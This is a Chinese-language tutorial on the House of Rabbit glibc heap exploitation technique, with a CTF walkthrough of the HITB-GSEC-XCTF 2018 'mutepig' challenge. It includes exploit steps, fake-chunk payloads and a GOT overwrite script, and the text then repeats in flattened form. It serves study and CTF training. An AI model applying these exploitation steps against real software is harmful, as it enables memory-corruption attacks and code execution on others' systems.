House Of Rabbit原理与例题
字数 1746 2025-08-22 18:37:22

House of Rabbit 攻击技术详解

一、技术概述

House of Rabbit 是一种伪造堆块的技术,主要应用于 fastbin attack 攻击场景中。该技术在 glibc 2.23 到 2.26 版本(无 tcachebin)中最为有效,但在有 tcachebin 的情况下(直到 glibc 2.31)仍然可以利用,前提是将相应大小的 tcachebin 链表填满。

二、核心原理

1. 关键函数:malloc_consolidate

malloc_consolidate() 是定义在 malloc.c 中的函数,用于:

  • 将 fastbin 中的空闲 chunk 合并整理到 unsorted_bin 中
  • 进行初始化堆的工作

该函数在 malloc()free() 中均有可能被调用。

2. 漏洞利用点

当分配一个超大块时,会执行 malloc_consolidate 将 fastbin 中的堆块进行合并,但此时没有对堆块的 size 进行检查,这成为 House of Rabbit 攻击的关键。

三、攻击步骤详解

1. 环境准备

以 glibc-2.23 为例,攻击步骤如下:

  1. 申请大堆块

    ptr = malloc(0xA00000uLL);
    

    程序会使用 mmap 申请,堆块会紧接着 libc 基地址。

  2. 释放并重新申请

    • 释放该堆块
    • 再次申请同样大小的堆块
    • 再次释放
      这样操作会扩大 top chunk 的大小。
  3. 申请控制堆块

    • 申请 0x18 大小的堆块(fastbin)
    • 申请 0x88 大小的堆块(smallbin)

2. 伪造堆块

  1. 在可控位置(如 bss 段)伪造两个堆块:

    • fake_chunk1 (size: 0x21) 在 0x602130
    • fake_chunk2 (size: 0x10) 在 0x602120
  2. 利用漏洞(UAF、overflow 等)改写 fastbin 中堆块的 fd 指针,指向伪造的 0x21 大小的堆块(0x602130)。

3. 触发合并

  1. 释放 small chunk,该堆块会与 top chunk 合并。
  2. 由于 fastbin 堆块也被释放,且与 top chunk 相邻,也会被合并进 top chunk。
  3. 此时 malloc_consolidate 函数会将 fake_chunk1 (0x602130) 插入 unsorted bins 链表。

4. 绕过检查

  1. 通过漏洞将堆块大小重写为 0xa0001,绕过 'size < av->system_mem' 检查。
  2. 申请一个超大 chunk,fake_chunk1 会被链接到 largebin(126)(max)。
  3. 再次通过漏洞改写堆块大小为 0xfffffffffffffff1。

5. 实现任意地址写

完成上述步骤后,可以申请任意大小的堆块,实现任意地址写的目的。

四、实战案例:HITB-GSEC-XCTF 2018 mutepig

1. 程序分析

  • 保护机制:PIE 关闭,GOT 表可写
  • 功能:
    • add:提供三种大小的堆块分配(fastbin、smallbin 和大堆块)
    • edit:可修改堆块内容,第二次机会可修改 bss 上的地址指向的位置
    • delete:存在 UAF 漏洞

2. 攻击流程

  1. 初始化堆布局

    add(3, b'aaaa') #0
    free(0)
    add(3, b'aaaa') #1
    free(1)
    
  2. 申请控制堆块

    add(1, b'fast') #2
    add(2, b'small') #3
    
  3. 伪造堆块并修改指针

    free(2)
    payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1)
    edit(2, p64(0x602130)[:7], payload)
    
  4. 触发合并

    free(3) # malloc_consolidate
    
  5. 绕过检查并完成攻击

    payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001)
    edit(3, b'a'*7, payload)
    add(3, b'/bin/sh') #4
    
  6. 实现任意地址写

    payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1)
    edit(3, b'w'*7, payload)
    add(13337, b'a'*7) #5
    add(1, p64(0x0000000000602018)[:7])
    edit(3, p64(0x00000000004006e6)[:7], b'aaaa')
    free(2)
    

五、关键注意事项

  1. 版本限制:该技术在 glibc 2.23-2.26 最为有效,但在更高版本(至 2.31)仍可利用,需填满相应 tcachebin。

  2. 指针修改:在修改 fd 指针时,注意不能直接输入 8 个字节,因为最后一位会被置零。

  3. 堆布局:需要精确控制堆的布局,确保伪造的堆块能够被正确识别和处理。

  4. 检查绕过:必须正确伪造 size 字段以绕过各种安全检查。

六、防御措施

  1. 更新 glibc 到最新版本
  2. 启用所有安全机制(ASLR、PIE 等)
  3. 严格检查堆操作中的用户输入
  4. 及时释放并清空指针

通过以上详细分析,可以全面理解 House of Rabbit 攻击技术的原理和实现方式,以及在实际 CTF 题目中的应用方法。

House of Rabbit 攻击技术详解 一、技术概述 House of Rabbit 是一种伪造堆块的技术,主要应用于 fastbin attack 攻击场景中。该技术在 glibc 2.23 到 2.26 版本(无 tcachebin)中最为有效,但在有 tcachebin 的情况下(直到 glibc 2.31)仍然可以利用,前提是将相应大小的 tcachebin 链表填满。 二、核心原理 1. 关键函数:malloc_ consolidate malloc_consolidate() 是定义在 malloc.c 中的函数,用于: 将 fastbin 中的空闲 chunk 合并整理到 unsorted_ bin 中 进行初始化堆的工作 该函数在 malloc() 和 free() 中均有可能被调用。 2. 漏洞利用点 当分配一个超大块时,会执行 malloc_consolidate 将 fastbin 中的堆块进行合并,但此时 没有对堆块的 size 进行检查 ,这成为 House of Rabbit 攻击的关键。 三、攻击步骤详解 1. 环境准备 以 glibc-2.23 为例,攻击步骤如下: 申请大堆块 : 程序会使用 mmap 申请,堆块会紧接着 libc 基地址。 释放并重新申请 : 释放该堆块 再次申请同样大小的堆块 再次释放 这样操作会扩大 top chunk 的大小。 申请控制堆块 : 申请 0x18 大小的堆块(fastbin) 申请 0x88 大小的堆块(smallbin) 2. 伪造堆块 在可控位置(如 bss 段)伪造两个堆块: fake_ chunk1 (size: 0x21) 在 0x602130 fake_ chunk2 (size: 0x10) 在 0x602120 利用漏洞(UAF、overflow 等)改写 fastbin 中堆块的 fd 指针,指向伪造的 0x21 大小的堆块(0x602130)。 3. 触发合并 释放 small chunk,该堆块会与 top chunk 合并。 由于 fastbin 堆块也被释放,且与 top chunk 相邻,也会被合并进 top chunk。 此时 malloc_consolidate 函数会将 fake_ chunk1 (0x602130) 插入 unsorted bins 链表。 4. 绕过检查 通过漏洞将堆块大小重写为 0xa0001,绕过 'size < av->system_ mem' 检查。 申请一个超大 chunk,fake_ chunk1 会被链接到 largebin(126)(max)。 再次通过漏洞改写堆块大小为 0xfffffffffffffff1。 5. 实现任意地址写 完成上述步骤后,可以申请任意大小的堆块,实现任意地址写的目的。 四、实战案例:HITB-GSEC-XCTF 2018 mutepig 1. 程序分析 保护机制:PIE 关闭,GOT 表可写 功能: add:提供三种大小的堆块分配(fastbin、smallbin 和大堆块) edit:可修改堆块内容,第二次机会可修改 bss 上的地址指向的位置 delete:存在 UAF 漏洞 2. 攻击流程 初始化堆布局 : 申请控制堆块 : 伪造堆块并修改指针 : 触发合并 : 绕过检查并完成攻击 : 实现任意地址写 : 五、关键注意事项 版本限制 :该技术在 glibc 2.23-2.26 最为有效,但在更高版本(至 2.31)仍可利用,需填满相应 tcachebin。 指针修改 :在修改 fd 指针时,注意不能直接输入 8 个字节,因为最后一位会被置零。 堆布局 :需要精确控制堆的布局,确保伪造的堆块能够被正确识别和处理。 检查绕过 :必须正确伪造 size 字段以绕过各种安全检查。 六、防御措施 更新 glibc 到最新版本 启用所有安全机制(ASLR、PIE 等) 严格检查堆操作中的用户输入 及时释放并清空指针 通过以上详细分析,可以全面理解 House of Rabbit 攻击技术的原理和实现方式,以及在实际 CTF 题目中的应用方法。